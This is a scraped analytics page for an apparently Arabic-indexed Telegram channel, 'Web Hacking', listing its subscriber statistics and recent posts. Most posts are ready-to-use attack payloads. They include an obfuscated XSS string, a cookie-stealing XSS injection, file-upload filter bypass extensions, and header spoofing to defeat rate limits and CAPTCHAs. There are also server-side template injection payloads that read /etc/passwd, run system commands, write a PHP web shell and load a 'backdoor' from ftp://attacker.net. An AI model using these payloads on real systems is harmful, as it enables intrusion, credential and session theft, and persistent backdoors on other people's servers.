Web Hacking
الذهاب إلى القناة على Telegram
2 028
المشتركون
لا توجد بيانات24 ساعات
لا توجد بيانات7 أيام
+1830 أيام
جاري تحميل البيانات...
القنوات المماثلة
لا توجد بيانات
هل تواجه مشاكل؟ يرجى تحديث الصفحة أو الاتصال بمدير الدعم الخاص بنا.
سحابة العلامات
لا توجد بيانات
هل تواجه مشاكل؟ يرجى تحديث الصفحة أو الاتصال بمدير الدعم الخاص بنا.
الإشارات الواردة والصادرة
---
---
---
---
---
---
جذب المشتركين
أكتوبر '26أكتوبر '26
أكتوبر '26
+166
في 0 قنوات
سبتمبر '260
في 0 قنوات
Get PRO
أغسطس '260
في 0 قنوات
Get PRO
يوليو '260
في 0 قنوات
Get PRO
يونيو '260
في 0 قنوات
Get PRO
مايو '260
في 0 قنوات
Get PRO
أبريل '260
في 0 قنوات
Get PRO
مارس '260
في 0 قنوات
Get PRO
فبراير '260
في 1 قنوات
Get PRO
يناير '260
في 0 قنوات
Get PRO
ديسمبر '250
في 0 قنوات
Get PRO
نوفمبر '250
في 0 قنوات
Get PRO
أكتوبر '250
في 0 قنوات
Get PRO
سبتمبر '250
في 0 قنوات
Get PRO
أغسطس '250
في 0 قنوات
Get PRO
يوليو '250
في 0 قنوات
Get PRO
يونيو '250
في 0 قنوات
Get PRO
مايو '250
في 0 قنوات
Get PRO
أبريل '250
في 0 قنوات
Get PRO
مارس '250
في 0 قنوات
Get PRO
فبراير '250
في 0 قنوات
Get PRO
يناير '250
في 0 قنوات
Get PRO
ديسمبر '240
في 0 قنوات
Get PRO
نوفمبر '240
في 0 قنوات
Get PRO
أكتوبر '240
في 0 قنوات
Get PRO
سبتمبر '240
في 0 قنوات
Get PRO
أغسطس '24
+49
في 0 قنوات
Get PRO
يوليو '24
+95
في 0 قنوات
Get PRO
يونيو '24
+87
في 0 قنوات
Get PRO
مايو '24
+127
في 1 قنوات
Get PRO
أبريل '24
+96
في 1 قنوات
Get PRO
مارس '24
+52
في 0 قنوات
Get PRO
فبراير '24
+49
في 0 قنوات
Get PRO
يناير '24
+50
في 0 قنوات
Get PRO
ديسمبر '23
+75
في 0 قنوات
Get PRO
نوفمبر '23
+80
في 0 قنوات
Get PRO
أكتوبر '23
+78
في 0 قنوات
Get PRO
سبتمبر '23
+66
في 0 قنوات
Get PRO
أغسطس '23
+69
في 0 قنوات
Get PRO
يوليو '23
+95
في 0 قنوات
Get PRO
يونيو '23
+50
في 0 قنوات
Get PRO
مايو '23
+69
في 0 قنوات
Get PRO
أبريل '23
+69
في 0 قنوات
Get PRO
مارس '23
+75
في 0 قنوات
Get PRO
فبراير '23
+76
في 0 قنوات
Get PRO
يناير '23
+92
في 0 قنوات
Get PRO
ديسمبر '22
+64
في 0 قنوات
Get PRO
نوفمبر '22
+103
في 0 قنوات
Get PRO
أكتوبر '22
+89
في 0 قنوات
Get PRO
سبتمبر '22
+115
في 0 قنوات
Get PRO
أغسطس '22
+72
في 0 قنوات
Get PRO
يوليو '22
+119
في 0 قنوات
Get PRO
يونيو '22
+30
في 0 قنوات
Get PRO
مايو '22
+24
في 0 قنوات
Get PRO
أبريل '22
+37
في 0 قنوات
Get PRO
مارس '220
في 0 قنوات
Get PRO
فبراير '220
في 0 قنوات
Get PRO
يناير '220
في 0 قنوات
Get PRO
ديسمبر '21
+8
في 0 قنوات
Get PRO
نوفمبر '21
+28
في 0 قنوات
Get PRO
أكتوبر '21
+23
في 0 قنوات
Get PRO
سبتمبر '21
+45
في 0 قنوات
Get PRO
أغسطس '21
+36
في 0 قنوات
Get PRO
يوليو '21
+27
في 0 قنوات
Get PRO
يونيو '21
+27
في 0 قنوات
Get PRO
مايو '21
+31
في 0 قنوات
Get PRO
أبريل '21
+43
في 0 قنوات
Get PRO
مارس '21
+33
في 0 قنوات
Get PRO
فبراير '21
+51
في 0 قنوات
Get PRO
يناير '21
+38
في 0 قنوات
Get PRO
ديسمبر '20
+382
في 0 قنوات
('%00tst@tst.com.br #XSS #Pay…","articleBody":"Payload XSS on login page:\n\n');\\\\('%00tst@tst.com.br\n\n#XSS #Payload","datePublished":"2023-12-30T11:52:15Z","dateModified":"2023-12-30T11:52:47Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-30T11:51:53Z"}}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/133","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/133","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/133","headline":"https://t.me/PythonForCyberSecurity","articleBody":"https://t.me/PythonForCyberSecurity","datePublished":"2023-12-26T03:38:30Z","dateModified":"2023-12-26T03:38:30Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1112},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/132","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/132","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/132","headline":"Bug bounty Cheatsheet: For more like this, join us at: t.me/OSCP_training XSS https://github.com/EdOverflow/b…","articleBody":"Bug bounty Cheatsheet:\n\nFor more like this, join us at:\nt.me/OSCP_training\n\nXSS\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md\nhttps://github.com/ismailtasdelen/xss-payload-list\n\nSQLi\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md\n\nSSRF\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery\n\nCRLF\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection\n\nCSV-Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection\n\nCommand Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection\n\nDirectory Traversal\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal\n\nLFI\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion\n\nXXE\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md\n\nOpen-Redirect\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md\n\nRCE\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md\n\nCrypto\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md\n\nTemplate Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\n\nXSLT\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md\n\nContent Injection\nhttps://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md\n\nLDAP Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection\n\nNoSQL Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection\n\nCSRF Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection\n\nGraphQL Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection\n\nIDOR\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References\n\nISCM\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management\n\nLaTex Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection\n\nOAuth \nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth\n\nXPATH Injection\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection\n\nBypass Upload Tricky\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files","datePublished":"2023-12-25T19:48:30Z","dateModified":"2023-12-25T19:48:30Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":817},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":33}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-25T19:47:45Z"}}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/131","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/131","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/131","headline":"GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercis…","articleBody":"GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercises, Machines\nhttps://github.com/rodolfomarianocy/OSCP-Tricks-2023","datePublished":"2023-12-21T17:24:15Z","dateModified":"2023-12-21T17:24:15Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":696},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-12-21T15:45:55Z"}}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/130","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/130","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/130","headline":"Cross-Site Request Forgery https://www.saygili.org/2020/11/cross-site-request-forgery.html","articleBody":"Cross-Site Request Forgery\nhttps://www.saygili.org/2020/11/cross-site-request-forgery.html","datePublished":"2023-12-18T21:05:52Z","dateModified":"2023-12-18T21:05:52Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":889},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/129","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/129","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/129","headline":"HTTP Host Header Attack https://www.saygili.org/2020/11/http-host-header-attack.html","articleBody":"HTTP Host Header Attack\nhttps://www.saygili.org/2020/11/http-host-header-attack.html","datePublished":"2023-12-14T18:48:50Z","dateModified":"2023-12-14T18:48:50Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":937},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":5}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/128","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/128","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/128","headline":"WhatsApp'ta Cyber Security kanalını takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","articleBody":"WhatsApp'ta Cyber Security kanalını takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","datePublished":"2023-10-28T08:43:51Z","dateModified":"2023-10-28T08:43:51Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":354},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2023-10-28T08:43:14Z"}}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/127","url":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/127","mainEntityOfPage":"https://telemetr.io/ar/channels/1159727667-webhacking/posts/127","headline":"https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","articleBody":"https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q","datePublished":"2023-10-08T17:13:20Z","dateModified":"2023-10-08T17:13:20Z","author":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"publisher":{"@type":"Organization","name":"Web Hacking","url":"https://telemetr.io/ar/channels/1159727667-webhacking","image":"https://img.telemetr.io/c/1gu68X/5852683288253150509?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":549}]}}]}
منشورات القناة
| 2 | a XSS payload, Cuneiform-alphabet based ! 𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")() | 1 |
| 3 | File Upload Bypass -
Blacklisting Bypass
PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp → .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion → .cfm, .cfml, .cfc, .dbm
Perl → .pl, .cgi
Using random capitalization → .pHp, .pHP5, .PhAr
Whitelisting Bypass
file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg | 4 932 |
| 4 | Rate Limit Bypass Techniques:
Adding HTTP Headers to Spoof IP and Evade Detection:
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Host: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1 | 699 |
| 5 | SSTI (Server Side Template Injection)
Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}} | 4 041 |
| 6 | Google Dorks to Find Sensitive data or dir | 3 132 |
| 7 | APIs Fuzzing for Bug Bounty.pdf | 708 |
| 8 | CAPTCHA Bypass
* Send old captcha value.
* Send old captcha value with old session ID.
* Remove captcha with any adblocker and request again
* Bypass with OCR
* Response manipulation.
* Use any token with the same length(+1/-1).
* Remove the param value or remove the entire parameter.
* Change the method from POST to GET(or PUT) and remove the captcha.
* Change body to JSON or vice-versa.
* Check whether the value of the captcha is in the source code.
* Add headers:
X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1 | 570 |
| 9 | Tryhackme.pdf | 564 |
| 10 | Neat trick for SVG file upload exploits. Add a foreignObject tag and include almost any working XSS payload in the SVG image file. Helpful for bypassing CSP or bypassing servers that strip strings.
Many file uploads allow SVGs and are prone to tampering.
<svg width="600" height="400" xmlns="w3.org/2000/svg" xmlns:xhtml="w3.org/1999/xhtml">
<foreignObject width="100%" height="100%">
<body xmlns="w3.org/1999/xhtml">
<iframe src='javascript:confirm(10)'></iframe>
</body>
</foreignObject>
</svg> | 747 |
| 11 | لا يوجد نص... | 749 |
| 12 | WhatsApp'ta OSCP Training kanalını takip edin: https://whatsapp.com/channel/0029VaDxObG17EmxK6bvmy3a | 961 |
| 13 | Payload XSS on login page:
');\\</script><script>alert(document.cookie)</script>('%00tst@tst.com.br
#XSS #Payload | 1 |
| 14 | https://t.me/PythonForCyberSecurity | 1 112 |
| 15 | Bug bounty Cheatsheet:
For more like this, join us at:
t.me/OSCP_training
XSS
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
https://github.com/ismailtasdelen/xss-payload-list
SQLi
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/sqli.md
SSRF
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/ssrf.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
CRLF
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CRLF%20Injection
CSV-Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/csv-injection.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSV%20Injection
Command Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
Directory Traversal
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
LFI
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/lfi.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
XXE
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xxe.md
Open-Redirect
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/open-redirect.md
RCE
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/rce.md
Crypto
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crypto.md
Template Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/template-injection.md
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
XSLT
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xslt.md
Content Injection
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/content-injection.md
LDAP Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection
NoSQL Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
CSRF Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection
GraphQL Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
IDOR
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Direct%20Object%20References
ISCM
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management
LaTex Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
OAuth
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/OAuth
XPATH Injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
Bypass Upload Tricky
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files | 817 |
| 16 | GitHub - rodolfomarianocy/OSCP-Tricks-2023: OSCP 2023 Preparation Guide | Courses, Tricks, Tutorials, Exercises, Machines
https://github.com/rodolfomarianocy/OSCP-Tricks-2023 | 696 |
| 17 | Cross-Site Request Forgery
https://www.saygili.org/2020/11/cross-site-request-forgery.html | 889 |
| 18 | HTTP Host Header Attack
https://www.saygili.org/2020/11/http-host-header-attack.html | 937 |
| 19 | WhatsApp'ta Cyber Security kanalını takip edin: https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q | 354 |
| 20 | https://whatsapp.com/channel/0029Va6CNA2HFxP702cjaC3q | 549 |
